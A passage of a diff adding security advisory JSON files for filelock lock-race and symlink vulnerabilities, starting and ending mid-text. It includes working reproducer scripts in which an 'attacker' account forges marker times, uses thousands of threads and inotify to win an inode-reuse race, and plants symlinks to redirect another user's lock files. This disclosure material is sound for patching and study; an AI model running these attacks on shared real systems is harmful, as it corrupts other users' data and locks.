long A stays in `owner_is_stale()`. To compare the start token, `process_start_token()` reads `/proc//stat`, and the kernel walks every thread of that process. Measured as `victim`, `owner_is_stale()` takes a median of 19 µs for a dead PID and 931 µs for a process with 8000 idle threads. Step 4 then needs another contender's 50 ms poll to fall into that millisecond, and the other user retries at every release of the lock.\n\nA forged time is not required, only convenient. File times advance in 4 ms steps, so a successor's marker created in the same step as the stale marker's last write compares equal and passes `>` / `<=` too (8, 16 and 16 overlaps in three 20-second runs with the `os.utime()` call removed, and still 9 with the comparisons changed to `!=` / `==`). Outside a container the window is wider. With a bare hostname `owner_is_stale()` goes on to `_owner_runs_elsewhere()`, which reads `/proc//stat` of every process on the machine (7 ms with 500 processes, 45 ms with 3000, against the default 50 ms `poll_interval`). With 3000 idle processes of the other user, both jobs of the lock user were inside at once in 12 and 13 of 30 rounds.\n\n`MarkerSoftFileLock` and `SoftFileLease` read with `_read_lock_file()` and call `break_lock_file()` in the same way, and showed the same overlap when a stall held A 3 s in its `kill(pid, 0)` probe. The malformed-marker self-heal in `SoftFileLock` hands `break_lock_file()` values from the same closed descriptor. Where the lock user may rename the other user's file (it owns the sticky directory, or is root), the other user only acquires the free lock, dates the marker ahead and exits without releasing. The first contender then breaks that marker as designed and creates its own on the freed number, and a second contender that judged the planted marker before that break removes the live one. Two of the project's own tests at the scanned commit hit the same case without any other user (`test_stale_break_racing_a_successor_admits_no_third_holder`, `test_break_lock_file_leaves_a_swapped_in_symlink_aside`), failing in 10 of 14 runs on ext4.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-KIIS96IX`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nLOCK_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = f\"{LOCK_DIR}/app.lock\"\nVICTIM_JOBS = 6\nRUN_SECONDS = 20\nJAN_1_2000 = 946684800\nJAN_1_2100 = 4102444800\n\n\ndef run_victim_jobs_beside_attacker(stale_marker_mtime):\n # set up: an empty root-owned sticky directory, like /tmp (the sticky bit stops the attacker removing victim files)\n shutil.rmtree(LOCK_DIR, ignore_errors=True)\n os.mkdir(LOCK_DIR)\n os.chmod(LOCK_DIR, 0o1777)\n\n # run: nobody is paused or traced; the attacker and the victim's jobs just run side by side\n attacker = subprocess.Popen(\n [sys.executable, \"/tmp/repro.d/plant_stale_markers.py\", LOCK_PATH, str(stale_marker_mtime)],\n stdout=subprocess.PIPE,\n text=True,\n user=\"attacker\",\n group=\"attacker\",\n extra_groups=[],\n )\n try:\n assert attacker.stdout.readline() == \"ready\\n\"\n jobs = [\n subprocess.Popen(\n [sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH, str(RUN_SECONDS)],\n stdout=subprocess.PIPE,\n text=True,\n user=\"victim\",\n group=\"victim\",\n extra_groups=[],\n )\n for _ in range(VICTIM_JOBS)\n ]\n holds = []\n for number, job in enumerate(jobs):\n output, _ = job.communicate(timeout=RUN_SECONDS + 60)\n assert job.returncode == 0 # no Timeout or other exception reached the victim's code\n for line in output.splitlines():\n entered, left, is_locked = line.split()\n assert is_locked == \"True\" # the job believed it held the lock\n holds.append((float(entered), float(left), f\"job{number}\"))\n finally:\n attacker.kill()\n attacker.wait()\n break_files = [name for name in os.listdir(LOCK_DIR) if \".break.\" in name]\n return sorted(holds), break_files\n\n\ndef overlapping_holds(holds):\n # time.monotonic() is CLOCK_MONOTONIC, one clock for every process on the host, so the intervals compare directly\n return [\n (first, second)\n for index, first in enumerate(holds)\n for second in holds[index + 1 :]\n if second[0] < first[1] # sorted by entry: the second entered before the first had left\n ]\n\n\ncontrol_holds, _ = run_victim_jobs_beside_attacker(JAN_1_2000)\ncontrol_overlaps = overlapping_holds(control_holds)\nprint(f\"CONTROL attacker's stale markers dated 2000: {len(control_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\" two jobs inside the lock at once: {len(control_overlaps)} times\")\n\nattack_holds, break_files = run_victim_jobs_beside_attacker(JAN_1_2100)\nattack_overlaps = overlapping_holds(attack_holds)\nprint(f\"OBSERVED attacker's stale markers dated 2100: {len(attack_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\" two jobs inside the lock at once: {len(attack_overlaps)} times\")\nfor (entered, left, job), (other_entered, other_left, other_job) in attack_overlaps[:3]:\n print(f\" {job} inside {entered:.3f}-{left:.3f}, {other_job} inside {other_entered:.3f}-{other_left:.3f}\")\n# the documented rename/link-back window of a stale break would strand a live marker as app.lock.break.*\nprint(f\" stale-break files left in {LOCK_DIR}: {break_files}\")\n\n# check: an exclusive lock with default options must never have two holders at once\nprint(\"BUG\" if not control_overlaps and attack_overlaps else \"OK\")\n```\n\n**`repro.d/plant_stale_markers.py`**\n\n```python\n#!/usr/bin/env python3\nimport ctypes\nimport os\nimport sys\nimport threading\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, marker_mtime = sys.argv[1], int(sys.argv[2])\nIN_CLOSE_NOWRITE = 0x10\nlibc = ctypes.CDLL(None)\n\n# contenders only judge markers written on their own host, so take the host string from a marker of our own\nwith SoftFileLock(lock_path):\n with open(lock_path) as own_marker:\n host = own_marker.read().splitlines()[1]\n\n# \\n\\n\\n: this PID is alive but its start token is not 1, so it reads as a recycled PID\n# and every contender judges the marker stale\nstale_marker = f\"{os.getpid()}\\n{host}\\n1\\n\".encode()\n\n# To compare start tokens a contender reads /proc//stat, and the kernel walks every thread of that process:\n# with 8000 threads that is about 1 ms between the contender reading the marker and breaking it.\nthreading.stack_size(64 * 1024)\nfor _ in range(8000):\n threading.Thread(target=threading.Event().wait, daemon=True).start()\nprint(\"ready\", flush=True)\n\nwhile True:\n # plant the stale marker whenever the lock path is free\n try:\n fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n except FileExistsError:\n time.sleep(0.0002)\n continue\n os.write(fd, stale_marker)\n os.utime(fd, (marker_mtime, marker_mtime)) # a file's owner may give it any modification time\n os.close(fd)\n\n # once a contender has read it, unlink it: its inode number is free again for the next holder's marker\n inotify = libc.inotify_init()\n libc.inotify_add_watch(inotify, lock_path.encode(), IN_CLOSE_NOWRITE)\n os.read(inotify, 4096)\n os.unlink(lock_path)\n os.close(inotify)\n\n # creating anything before the next holder does would take that inode number away from it\n while not os.path.lexists(lock_path):\n time.sleep(0.0002)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\n#!/usr/bin/env python3\nimport random\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, run_seconds = sys.argv[1], float(sys.argv[2])\n\nlock = SoftFileLock(lock_path)\nstop_at = time.monotonic() + run_seconds\nwhile time.monotonic() < stop_at:\n with lock:\n entered = time.monotonic()\n time.sleep(random.uniform(0.05, 0.15)) # the work the lock protects\n print(entered, time.monotonic(), lock.is_locked, flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant X as other local user (uid 1001)\n participant P as app.lock (root-owned 1777 dir, ext4)\n participant A as process A of the lock user (uid 1000)\n participant B as process B of the lock user (uid 1000)\n X->>P: create \"livepid host 1\", utime to 2100 (inode I)\n A->>P: open, fstat (ino I, mtime 2100), read, close\n A->>A: owner_is_stale: recycled PID (slow: /proc read of X's 8000-thread process)\n rect rgb(255, 214, 214)\n X->>P: inotify IN_CLOSE_NOWRITE on own file: unlink it, I is free\n B->>P: O_CREAT|O_EXCL: new marker gets inode I, B holds and enters\n A->>P: lstat: mtime now <= 2100 and ino == I: rename to app.lock.break.*\n A->>P: lstat break name: same, unlink B's live marker\n A->>P: next poll 50 ms later: O_EXCL create, A enters beside B\n Note over A,B: B's release finds another inode, leaves it, no error on either side\n end\n```\n\n## Evidence\n\nThe scanner's reproducer runs six `victim` jobs (uid 1000) looping `with SoftFileLock(\"/tmp/shared-locks/app.lock\"):` around 50 to 150 ms of work, printing `time.monotonic()` entry and exit and `lock.is_locked`, for 20 s. Beside them runs an `attacker` process (uid 1001) with 8000 idle threads that plants its marker whenever the path is free, waits for `IN_CLOSE_NOWRITE`, unlinks it and waits for the next `victim` marker. The control (markers dated 2000) prints `191 holds by 6 victim jobs, two jobs inside the lock at once: 0 times`. The disturbed run (dated 2100) prints `196 holds, two jobs inside the lock at once: 15 times`, for example `job3 inside 130.436-130.530, job5 inside 130.444-130.521`, with `stale-break files left in /tmp/shared-locks: []`. Six runs gave between 11 and 24 overlaps, 0 in each control, every `with` block ending without error with `is_locked == True`.\n\nAn `strace` of a landed round shows A's `close(4(deleted))`, B's `openat(O_WRONLY|O_CREAT|O_EXCL|...)` with `st_ino=296421`, and A's `lstat`, `rename`, `lstat`, `unlink` all on 296421, followed by B's `write(4(deleted), ...)` and A's own create 53 ms later.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` inside the container (the host's btrfs does not reuse a number). Result: BUG on 4.2.0 in 43 s, with the other user as uid 1001 against the lock user's processes as uid 1000; it created and unlinked only its own file in a root-owned `1777` directory. On btrfs the same run is OK, so the condition is the filesystem's inode allocation. On the head of #843 the run was OK with 0 overlaps in 193 holds.\n\n## Impact\n\nA local user who can create files in the lock's directory puts two processes of another user inside the same default-configured `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` at once, with no exception, no `lifetime`, no lease expiry and no `break_lock()` involved. Two holders then write the data the lock protects. `SoftFileLock` and `MarkerSoftFileLock` holders learn nothing. A displaced `SoftFileLease` holder got `compromise.reason == \"owner-changed\"` at its first heartbeat (the periodic refresh a lease holder runs) when the second holder's marker was still at the path, and `None` after 13 s when the second holder had already released.\n\nIt is a race, but the other user controls the start and the length of the window, and each failed attempt costs the lock user's processes one poll. Under the same interference with two processes of the lock user and 20 ms critical sections, 26 of 110 holds in 60 s found their own marker unlinked (`st_nlink == 0`, no name left for the file) while inside, without two holds overlapping. Not affected: tmpfs and btrfs, a lock with a single contender, `StrictSoftFileLock`.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or place the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. `StrictSoftFileLock` is not affected.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-KIIS96IX`, scanned commit b831496b0273)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-fq56-3cx3-fjxp" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112935" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/843" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-112936.json b/advisories/BREW-conda-lock-CVE-2026-112936.json new file mode 100644 index 00000000000..73d792ef42c --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-112936.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-112936", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-j8f7-rjxc-mr56", + "CVE-2026-112936" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0_3" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "4.0.9", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@3.32.7" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "3.32.7", + "key": "pkg:pypi/filelock@3.32.7", + "resource": "filelock" + } + ] + }, + "summary": "filelock: ReadWriteLock follows a symlink at the lock path into SQLite", + "details": "### Summary\n\n`ReadWriteLock` and `AsyncReadWriteLock` resolve the lock path with `pathlib.Path.resolve()` and pass it to `sqlite3.connect()` without refusing a symlink. A local user who can create names in the lock's directory, such as `/tmp` or a shared cache, can plant a symlink at the lock path and make the victim's process create, lock, or write the file it points to, or break mutual exclusion between the victim's own processes.\n\n### Details\n\n`ReadWriteLock.__init__` stores `pathlib.Path(lock_file).resolve()`, which follows a final symlink, and every connection opens that path through `sqlite3.connect()` with no `O_NOFOLLOW` or regular-file check. SQLite's own VFS also resolves the final symlink in user space, so `fs.protected_symlinks` and the sticky bit do not help: the kernel never sees a symlink to refuse. The other lock classes do not follow a final symlink: `FileLock` opens with `O_NOFOLLOW`, and `SoftReadWriteLock` coordinates through `.rw/`.\n\n### Proof of concept\n\nOn Linux, with the victim and attacker as different users and `/shared` mode 1777 with `fs.protected_symlinks=1`:\n\n1. The attacker runs `ln -s /home/victim/private/pwned.flag /shared/app.rwlock.db`.\n2. The victim constructs `ReadWriteLock(\"/shared/app.rwlock.db\")`. A plain `os.open(..., O_NOFOLLOW)` on the same path fails, but the lock creates `/home/victim/private/pwned.flag`, owned by the victim, inside a directory the attacker cannot write.\n3. With `/shared/cache.rwlock.db -> /shared/a.db`, one victim process holds the write lock. The attacker repoints the link to `/shared/b.db`, and a second victim process acquires the write lock while the first still holds it.\n\nThe same behavior reproduces on macOS, on Windows 11, and through `AsyncReadWriteLock`.\n\n### Impact\n\nA local attacker with write access to the lock directory can make the victim create empty files it owns at paths the attacker cannot write, make the victim hold a SQLite lock on another application's database so that application gets `database is locked`, and give two victim processes the write lock at once, letting them corrupt the resource the lock protects.\n\n### Workarounds\n\nKeep `ReadWriteLock` paths in directories that only trusted users can write.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-j8f7-rjxc-mr56" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112936" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/4d45e83caf7e31f9a12fb44526bdc07f70114f04" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.0.9" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-112938.json b/advisories/BREW-conda-lock-CVE-2026-112938.json new file mode 100644 index 00000000000..2551ba0108c --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-112938.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-112938", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-m462-7rxw-wvpg", + "CVE-2026-112938" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.2_2" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@3.32.7" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "3.32.7", + "key": "pkg:pypi/filelock@3.32.7", + "resource": "filelock" + } + ] + }, + "summary": "filelock: StrictSoftFileLock follows a symbolic link swapped in at .filelock and creates claim files in a directory another local user chooses", + "details": "`StrictSoftFileLock` and `AsyncStrictSoftFileLock` check `.filelock` (the coordination directory that holds the lock's state) with one `lstat` call on its name. `lstat` reports what a name is without following a symbolic link (a file that redirects to another path). After that check, the code reaches `.filelock/claims` by pathname for every later operation (`mkdir`, scan, publish, link, unlink). `_open_directory` passes `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link), but the flag covers only the final `claims` component. The kernel follows a symbolic link in any earlier component.\n\nAnother local user (the other user below) who can rename `.filelock` exchanges it for a symbolic link after the check. In a shared directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it), any user with write access can do this. Where the shared directory is sticky, such as `/tmp`, only the user who created `.filelock` before the user running the lock (the lock user below) first used it can. The lock user's process (root's, if root takes the lock) then creates a `claims` directory and claim files (the files whose presence says a process wants or holds the lock) inside a directory the other user chooses but only the lock user can write.\n\nWhen the link points at another strict lock's `.filelock` directory, the stranded claims make that lock time out for every process until an operator finds and force-breaks each one. The `claims` property and `force_break()` resolve the same path with no check at all. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-SVFEYX89`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H, 5.8 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the swap must land between the `lstat` and the next `mkdir`. The other user does not aim at that window. It flips the name in a loop with `renameat2(RENAME_EXCHANGE)` (a system call that swaps two names in one step) across repeated acquires, and won after 1 to 31 runs of the lock user's program in the scanner's trials. A sticky directory also requires it to have created `.filelock` first. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own.\n\n`C:L` (low confidentiality impact): through `claims`, one file name per planted link from a directory only the lock user can list. `I:L` (low integrity impact): a directory named `claims` and files with filelock's fixed claim names and contents appear, created with the lock user's privileges, in a directory the other user chooses but cannot write. The process overwrites or truncates nothing that exists. `A:H` (high availability impact): aimed at another strict lock of the lock user, the stranded claims deny that lock to every process until an operator finds and force-breaks each one. Classification from the review: security, conditional on the other user being able to rename the intermediate component. The scanner rated it high (CWE-363).\n\n## Scope and preconditions\n\n- The other user can rename `.filelock`. In a writable directory without the sticky bit (a `0777` or group-writable project or cache directory), any user with write permission on the directory can, even though the lock user created and owns `.filelock`. In a sticky directory such as `/tmp`, only the user who created `.filelock` before the lock user's first use can, because that user then owns both the directory and the symbolic link (the planting precondition of GHSA-9c4x-gm8v-wgc4).\n- The link's target is a directory the lock user can write. The effect that matters is on that directory. An acquire that completes through the link also holds the shared lock with its claims elsewhere, but a user who can rename `.filelock` can defeat that lock's exclusion anyway.\n- `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not interfere. The link is an intermediate path component, not the last one. In the sticky-directory case it also sits in a directory the other user owns.\n- Missed attempts show up to the lock user as `SoftFileLockProtocolError` or `FileNotFoundError`. The swap therefore works against a lock that a program takes more than once: a periodic job, a worker pool, or a caller that retries or waits with a timeout (each poll of a waiting acquisition is a new attempt).\n- The two entry points that need no race (`claims` and `force_break()` on a resting symbolic link) depend on the lock user inspecting or recovering the lock. The planted link invites this by making `acquire()` fail with a protocol error. The `force_break()` variant works only when the lock user breaks claims that name a live process on its own host without checking them first, as the recovery loop in `docs/tutorials.rst` does. `docs/how-to.rst` tells the operator to verify that the named owner is gone before breaking.\n- Platform: POSIX, demonstrated on Linux (tmpfs and overlayfs). Windows has no `dir_fd` (file operations relative to an open directory handle), and on Windows the documented requirement is a lock directory that untrusted users cannot write.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the check and the first use are adjacent lines of [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L123-L128). There, [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L1006) runs `lstat` on `.filelock` and then `mkdir` on `.filelock/claims`. [`_open_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L950-L954) passes `O_DIRECTORY | O_NOFOLLOW` but receives the full `.filelock/claims`. The claim scan goes by pathname in [`_read_existing_claims`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L509-L514) (`directory.exists()`) and [`_list_claim_names`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L433-L439) (`os.scandir(directory)`). So do [`_publish_record`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L572-L596), [`_link_no_replace`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L864-L881), [`_unlink_in_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L912-L939) and the clock probe in [`_filesystem_now`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L745-L763). The [`claims` property](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L235-L239) and [`force_break()`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L260-L267) take the directory from [`_claim_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L314-L318) by string concatenation, and [`_require_exact_name`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L1016-L1019) confirms the name with a by-name `os.scandir`.\n\n## Introduced\n\nThe by-name claim directory came with 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. One effect is newer. The clock-probe files that a swap at `claims` leaves behind need `_filesystem_now`, added in 508d0548538f (\"fix(strict): age private records by the filesystem clock\", #792, 2026-10-07), first released in 4.1.0. Before that commit a claim scan created nothing. We checked both against the git tags.\n\n## Mechanism\n\nOn the benign path, `_ensure_protocol_directory(coordination_directory)` finds `.filelock` to be a real directory, and `_ensure_protocol_directory(claim_directory)` finds `claims` inside it. The doorway (the acquire step that scans existing claims and publishes the caller's own) then publishes into it. A symbolic link resting at `.filelock` stops at the first call with \"is not a real directory\". That answer describes the name at that instant only; nothing carries it forward. With the name exchanged for a link to a directory `T` between the two calls:\n\n- The second call runs `mkdir(\".filelock/claims\")`, which creates `T/claims` with the lock user's credentials. The `mkdir` succeeds, so `_ensure_protocol_directory` returns without looking at anything.\n- `_attempt_doorway` then works in `T/claims` for as long as the name still points there. `_read_existing_claims` uses `directory.exists()` and `os.scandir(directory)`. `_publish_record` opens the claim directory by its full path and creates `.intent-v1-.claim.private-v1-.tmp` and `intent-v1-.claim` (the intent claim, which announces a pending acquire) in it. When its intent wins the scan, `_link_no_replace` adds `held-v1-.claim` (the held claim, which marks the lock as taken). `_open_directory` does pass `O_DIRECTORY | O_NOFOLLOW`, but on `\".filelock/claims\"`, so the flag covers `claims` only.\n- Cleanup resolves the name again. `_unlink_in_directory` opens `.filelock/claims` by path. When the name is back at the real directory by then, the `unlink` gets `ENOENT` (the \"no such file\" error), which `_unlink_owner_path_result` counts as removed. The claim file stays in `T/claims`.\n\nWhen `T/claims` already exists, the `mkdir` takes the `FileExistsError` branch, `lstat` sees a real directory, and the same scan and publication run on the existing directory. With `T/claims` holding a file `secret-name.txt` and an old `.held-v1-.claim.private-v1-.tmp`, the lock user's process raises `SoftFileLockProtocolError: … claim 'secret-name.txt': unknown claim name or protocol version`. `_reclaim_private_record` unlinks the private-record file. `intent-*.claim` files and a clock-probe file from `_filesystem_now` stay behind.\n\nThe window is a few lines of Python between two system calls, but the other user does not aim at it. `renameat2` with `RENAME_EXCHANGE` flips the name in a loop, so each system call of the lock user sees the directory or the link more or less at random. An attempt that sees the link at the `lstat` raises `SoftFileLockProtocolError`. One that sees the directory there and the link at the next `mkdir` is a hit. Four other ways reach the same by-name resolution. The scanner observed each of them at the same commit, with `victim` and `attacker` as separate accounts and default lock options.\n\nThe first way strands claims in another strict lock. With the swapped-in link pointing at the coordination directory of a second lock of the lock user (`/home/victim/private/db.lock.filelock`, parent mode `0700`), 200 acquires of the shared lock left 7 to 17 well-formed `intent-v1-*.claim` and `held-v1-*.claim` files in the second lock's `claims`. No process holds that lock, yet `StrictSoftFileLock(\"/home/victim/private/db.lock\", timeout=1)` raises `Timeout` from then on, until an operator force-breaks each stranded claim.\n\nThe second way swaps one component lower, at `claims`. The claim scan does not use a descriptor (an open handle that stays bound to one directory whatever its name later points to). `os.scandir(directory)`, the record reads, `_reclaim_private_record` (called with its descriptor slot set to `None`) and the clock probe in `_filesystem_now` (`os.open(directory / name, O_CREAT | O_EXCL | O_NOFOLLOW)` followed by `probe.unlink()`) all go by pathname. For a sticky directory, the other user needs to have created `.filelock` first. It then puts a real `claims` directory (mode `1777`) in it with one empty file named `.held-v1-<32 zeros>.claim.private-v1-<32 zeros>.tmp`, so that every scan calls the probe, and exchanges `claims` with a link in a loop.\n\nAfter 200 acquires by the lock user, 14 to 42 one-byte, mode `0600`, lock-user-owned files named `.held-v1-.claim.private-v1-.tmp` are in the `0700` directory the link points to. The probe open went through the link, and the pathname `unlink` ran after `claims` was a directory again and got `ENOENT`. A swap at this level does not affect publication or release, because there `_open_directory`'s `O_NOFOLLOW` does cover `claims`.\n\nThe third way is `claims` with no race. The property calls `_read_existing_claims` on an instance that did not go through `_acquire`, and `directory.exists()` and `os.scandir(directory)` both follow a link. After the other user runs `mkdir /tmp/work.lock.filelock; ln -s /home/victim/private /tmp/work.lock.filelock/claims`, `acquire()` refuses with \"is not a real directory\". The inspection loop from `docs/how-to.rst` (`for claim in lock.claims: ...`) raises `SoftFileLockProtocolError: … claim 'customer-1123f274.db': unknown claim name or protocol version`. That names the first non-hidden entry, in sort order, of a directory the other user cannot list. A missing or empty target returns `()`, a non-directory gives \"Not a directory\" and an unreadable directory \"Permission denied\", so the call also tells those apart.\n\nThe fourth way is `force_break()` with no race. It confirms the name with a by-name `os.scandir` in `_require_exact_name` and unlinks through `_unlink_in_directory`, where `O_NOFOLLOW` again covers `claims` only. After the other user's one command `ln -s /home/victim/private/db.lock.filelock /tmp/service.lock.filelock`, the recovery loop from `docs/tutorials.rst` run by the lock user on `/tmp/service.lock` (`for claim in stale.claims: stale.force_break(claim.name)`) lists and removes the `held` and `intent` claims of the live holder of `/home/victim/private/db.lock`. A second process then acquires that lock while the first is still in its critical section with `is_locked == True`. The first holder's `release()` later finds its claims gone, counts `ENOENT` as removed and returns without error. Only a directory named `claims` below the link's target is reachable, so the targets are other strict locks, not arbitrary files.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-SVFEYX89`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport collections\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\nvictim_job = [sys.executable, \"/tmp/repro.d/victim_job.py\"]\nattacker_swap_loop = [sys.executable, \"/tmp/repro.d/attacker_swap_loop.py\"]\nvictim_uid = pwd.getpwnam(\"victim\").pw_uid\n\n# set up: a directory both users can write (0777, no sticky bit) and one only the victim can write.\n# The shared one is on tmpfs to keep the attacker's rename loop off the container's disk.\nshared = \"/dev/shm/filelock-repro-shared\"\nprivate = \"/tmp/filelock-repro-private\"\nshutil.rmtree(shared, ignore_errors=True)\nshutil.rmtree(private, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\nos.mkdir(private, 0o700)\nshutil.chown(private, \"victim\", \"victim\")\n\nown_mkdir = subprocess.run([\"mkdir\", f\"{private}/claims\"], capture_output=True, text=True, **as_attacker)\nprint(f\"CONTROL attacker's own mkdir: {own_mkdir.stderr.strip()}\")\n\nsubprocess.run([\"ln\", \"-s\", private, f\"{shared}/static.lock.filelock\"], check=True, **as_attacker)\nrefused = subprocess.run([*victim_job, f\"{shared}/static.lock\"], capture_output=True, text=True, check=True, **as_victim)\nprint(f\"CONTROL symlink resting at static.lock.filelock: {refused.stdout.strip()}; private directory holds {os.listdir(private)}\")\n\n# the job has run before, undisturbed, so work.lock.filelock is the victim's own directory\nfirst_run = subprocess.run([*victim_job, f\"{shared}/work.lock\"], capture_output=True, text=True, check=True, **as_victim)\ncoordination = os.lstat(f\"{shared}/work.lock.filelock\")\nprint(f\"CONTROL undisturbed job: {first_run.stdout.strip()}; work.lock.filelock is 